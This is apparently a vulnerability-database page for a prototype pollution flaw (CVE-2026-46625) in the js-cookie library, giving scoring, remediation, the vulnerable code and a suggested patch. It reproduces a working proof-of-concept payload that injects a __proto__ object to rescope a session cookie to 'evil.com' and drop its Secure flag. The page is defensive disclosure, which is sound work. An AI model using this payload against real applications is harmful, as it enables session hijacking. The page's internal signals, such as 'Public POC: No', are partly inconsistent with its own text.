Skip to main content

js-cookie CVE-2026-46625

HIGH
Improperly Controlled Modification of Object Prototype Attributes (Prototype Pollution) (CWE-1321)
2026-05-21 https://github.com/js-cookie/js-cookie GHSA-qjx8-664m-686j
7.5
CVSS 3.1 · Vendor: https://github.com/js-cookie/js-cookie
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Identify app forwarding JSON config to Cookies.set
  2. Delivery
    Influence backend JSON response
  3. Exploit
    Inject __proto__ payload with malicious attributes
  4. Install
    js-cookie assign() hijacks per-instance prototype
  5. C2
    set() serializes attributes into Set-Cookie
  6. Execute
    Browser stores cookie with attacker-chosen domain/Secure/SameSite
  7. Impact
    Hijack session via cross-domain cookie

Vulnerability Assessment

Weakness
CWE
ASVS 5.0
V3 - Web Frontend Security Prototype pollution prevention
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that the victim application pass an attacker-influenced, JSON.parse-produced object into one of Cookies.set, Cookies.remove, Cookies.withAttributes, or Cookies.withConverter as the attributes argument - the __proto__ key must survive as an own enumerable property (which is how JSON.parse materializes it, but Object literals do not). Limiting factors: the attacker cannot reach the sink unless the developer adopts the documented pattern of forwarding server-supplied config into js-cookie attributes; static or hard-coded attribute objects are not vulnerable. No authentication is required at the js-cookie layer (CVSS PR:N, UI:N), and no special js-cookie configuration is needed - any deployment of js-cookie <= 3.0.5 that funnels untrusted JSON into the attributes parameter is exploitable. Impact is integrity-only on cookie attributes; the bug does not pollute Object.prototype globally and does not directly yield code execution.

Impact

The CVSS:3.1 vector AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N yields 7.5 (High), with integrity-only impact - consistent with attribute tampering rather than data theft or DoS. EPSS and CISA KEV status are not provided in the input, so widespread exploitation cannot be asserted; the vulnerability should be treated as a high-priority client-side integrity flaw rather than a pre-auth RCE. Real-world risk is gated by the application pattern: the bug is only reachable when a developer forwards a JSON-derived object (typically server-controlled or otherwise attacker-influenced) into Cookies.set / remove / withAttributes / withConverter - a common but not universal pattern. Given that a working PoC is published in the GHSA advisory and the fix is a one-line patch, exploitation barrier is low for any vulnerable code path, and the consequences (silent downgrade of Secure/SameSite, cookie scope expansion to attacker-controlled domains) directly enable session hijacking and cookie-fixation chains.

Exploit ScenarioDerived

An application fetches cookie configuration from a backend endpoint (e.g. /config) and forwards the resulting JSON object as the attributes argument to Cookies.set('session', token, cfg.cookieAttrs). An attacker who can influence that JSON response - via a compromised configuration service, a stored XSS-controlled API, or a man-in-the-middle on an unauthenticated config fetch - submits {"__proto__":{"domain":"evil.example","secure":"false","samesite":"None"}}, causing js-cookie to emit a Set-Cookie that drops Secure, opens SameSite=None, and rescopes the cookie to an attacker-controlled domain, enabling session theft. A complete PoC against Node 22.11.0 is published in the GHSA advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 21, 2026

Cookie-attribute injection in js-cookie versions 3.0.5 and earlier allows remote attackers to override security-relevant Set-Cookie attributes (domain, secure, samesite, expires, path) by supplying a JSON-derived attributes object containing a __proto__ key. Publicly available exploit code exists in the GHSA-qjx8-664m-686j advisory demonstrating per-instance prototype hijack via the assign() helper. No active exploitation has been observed, and the issue is fixed in 3.0.7.

RemediationAI

Vendor-released patch: upgrade js-cookie to 3.0.7 (npm install js-cookie@^3.0.7 or update the lockfile), per the GHSA-qjx8-664m-686j advisory at https://github.com/js-cookie/js-cookie/security/advisories/GHSA-qjx8-664m-686j. If immediate upgrade is not possible, sanitize any object passed as the attributes argument to Cookies.set, Cookies.remove, Cookies.withAttributes, and Cookies.withConverter by either constructing a fresh object with an explicit allowlist of attribute keys (path, domain, secure, samesite, expires) or by stripping __proto__, constructor, and prototype keys before invocation - note that JSON.parse with a reviver that returns undefined for those keys is a safer transport-level fix and avoids requiring callers to remember the allowlist. Avoid the temptation to globally freeze Object.prototype as a workaround, since it can break unrelated libraries that rely on legitimate prototype writes.

Affected Packages

npm js-cookie fix: 3.0.7

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

js-cookie is a lightweight JavaScript library (pkg:npm/js-cookie) widely used in browser applications to read and write document.cookie. The root cause is CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes, a.k.a. Prototype Pollution). The internal assign() helper at src/assign.mjs merges argument objects into a fresh target ({}) using a for...in loop with plain assignment (target[key] = source[key]). When the source is produced by JSON.parse, the parser materializes __proto__ as an own enumerable data property; the for...in enumerates it, and the [[Set]] semantics of plain assignment trigger Object.prototype's __proto__ accessor on the target. The result is a per-instance prototype hijack - Object.prototype itself remains clean, but the merged attributes object inherits attacker-controlled keys, which the downstream set() function then walks with another for...in and serializes directly into the Set-Cookie attribute list.

Know when Prototype Pollution gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/js-cookie/js-cookie) PRIMARY 7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
SUSE HIGH
Red Hat 7.5 HIGH

Primary rating from Vendor (https://github.com/js-cookie/js-cookie).

CVSS VectorVendor: https://github.com/js-cookie/js-cookie

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None

DescriptionCVE.org

Summary

js-cookie's internal assign() helper copies properties with for...in + plain assignment. When the source object is produced by JSON.parse, the JSON object's "__proto__" member is an *own enumerable* property, so the for…in enumerates it and the target[key] = source[key] write triggers the Object.prototype.__proto__ setter on the fresh target ({}). The result is a per-instance prototype hijack: Object.prototype itself is untouched, but the merged attributes object now inherits attacker-controlled keys.

Because the consuming set() function then enumerates the merged object with another for...in, every key the attacker placed on the polluted prototype lands in the resulting Set-Cookie string as an attribute pair. The attacker can set domain=, secure=, samesite=, expires=, and path= on cookies whose attributes the developer thought were locked down.

Impact

Any application that forwards a JSON-derived object as the attributes argument to Cookies.set, Cookies.remove, Cookies.withAttributes, or Cookies.withConverter is vulnerable. This is the standard pattern when cookie configuration comes from a backend:

js
const cfg = await fetch('/config').then(r => r.json());
Cookies.set('session', token, cfg.cookieAttrs);   // cfg.cookieAttrs influenced by attacker

A payload of {"__proto__":{"domain":"evil.example","secure":"false","samesite":"None"}} causes js-cookie to emit:

Set-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None

Affected code

js
// src/assign.mjs - full file
export default function (target) {
  for (var i = 1; i < arguments.length; i++) {
    var source = arguments[i]
    for (var key in source) {                 // includes own enumerable '__proto__'
      target[key] = source[key]                // [[Set]] form - fires __proto__ setter
    }
  }
  return target
}

Proof of concept

Node 22.11.0, no third-party deps:

Environment setup

bash
mkdir -p /tmp/jscookie-poc && cd /tmp/jscookie-poc
npm init -y
npm i js-cookie

PoC

js
ubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs
let lastSetCookie = '';
globalThis.document = {
  get cookie() { return ''; },
  set cookie(v) { lastSetCookie = v; }
};

const { default: Cookies } = await import('js-cookie');

const attackerAttrs = JSON.parse(
  '{"__proto__":{"secure":"false","domain":"evil.com","samesite":"None","expires":-1}}'
);

Cookies.set('session', 'TOKEN', attackerAttrs);

console.log('Set-Cookie that js-cookie wrote to document.cookie:');
console.log(lastSetCookie);

Execution: <img width="2614" height="1174" alt="cls-2026-05-14-01 44 39" src="https://github.com/user-attachments/assets/120df1fe-7e97-4ca3-904e-ab80d71ecf62" />

Suggested patch

diff
--- a/src/assign.mjs
+++ b/src/assign.mjs
@@
 export default function (target) {
   for (var i = 1; i < arguments.length; i++) {
     var source = arguments[i]
-    for (var key in source) {
-      target[key] = source[key]
-    }
+    for (var key in source) {
+      if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue
+      Object.defineProperty(target, key, {
+        value: source[key],
+        writable: true,
+        enumerable: true,
+        configurable: true,
+      })
+    }
   }
   return target
 }

Equivalent one-liner alternative - iterate own names only and filter:

js
for (const key of Object.getOwnPropertyNames(source)) {
  if (key === '__proto__') continue
  target[key] = source[key]
}

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 325 npm packages depend on js-cookie (20 direct, 306 indirect)

Ecosystem-wide dependent count for version 3.0.7.

Executive ViewAI

Why It Matters

js-cookie, a foundational JavaScript library used in web applications for secure session management, contains a remotely exploitable vulnerability (CVE-2026-46625) in versions 3.0.5 and earlier that allows attackers to manipulate critical cookie security attributes and gain unauthorized access to user sessions. Publicly available exploit code exists, creating immediate exploitation risk across affected applications. Patched version 3.0.7 is available and must be deployed immediately to all dependent systems.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.0%
Top 91% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
🇯🇵JVN NVD CVE.org EPSS GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

Affected Products (CPE)CVE.org

pkg:npm/js-cookie
CVE-2026-34621 HIGH POC
8.6 Apr 11

Prototype pollution in Adobe Acrobat Reader versions 24.001.30356, 26.001.21367 and earlier enables arbitrary code execu

CVE-2021-23450 CRITICAL POC
9.8 Dec 17

All versions of package dojo are vulnerable to Prototype Pollution via the setObject function. Rated critical severity (

CVE-2024-56059 CRITICAL
9.8 Dec 18

Prototype pollution in the farinspace Partners WordPress plugin (versions up to and including 0.2.0) enables remote unau

CVE-2021-23383 CRITICAL POC
9.8 May 04

The package handlebars before 4.7.7 are vulnerable to Prototype Pollution when selecting certain compiling options to co

CVE-2020-7788 CRITICAL POC
9.8 Dec 11

This affects the package ini before 1.3.6. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitabl

CVE-2020-28271 CRITICAL POC
9.8 Nov 12

Prototype pollution vulnerability in 'deephas' versions 1.0.0 through 1.0.5 allows attacker to cause a denial of service

CVE-2023-38894 CRITICAL POC
9.8 Aug 16

A Prototype Pollution issue in Cronvel Tree-kit v.0.7.4 and before allows a remote attacker to execute arbitrary code vi

CVE-2024-24292 CRITICAL POC
9.8 Mar 28

A Prototype Pollution issue in Aliconnect /sdk v.0.0.6 allows an attacker to execute arbitrary code via the aim function

CVE-2023-26121 CRITICAL POC
10.0 Apr 11

All versions of the package safe-eval are vulnerable to Prototype Pollution via the safeEval function, due to improper s

CVE-2021-23449 CRITICAL POC
10.0 Oct 18

This affects the package vm2 before 3.9.4 via a Prototype Pollution attack vector, which can lead to execution of arbitr

CVE-2024-39011 CRITICAL POC
9.8 Jul 30

Prototype Pollution in chargeover redoc v2.0.9-rc.69 allows attackers to execute arbitrary code or cause a Denial of Ser

CVE-2024-38988 CRITICAL POC
9.8 Mar 28

alizeait unflatto <= 1.0.2 was discovered to contain a prototype pollution via the method exports.unflatto at /dist/inde

Vendor StatusVendor

SUSE

Severity: Important

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy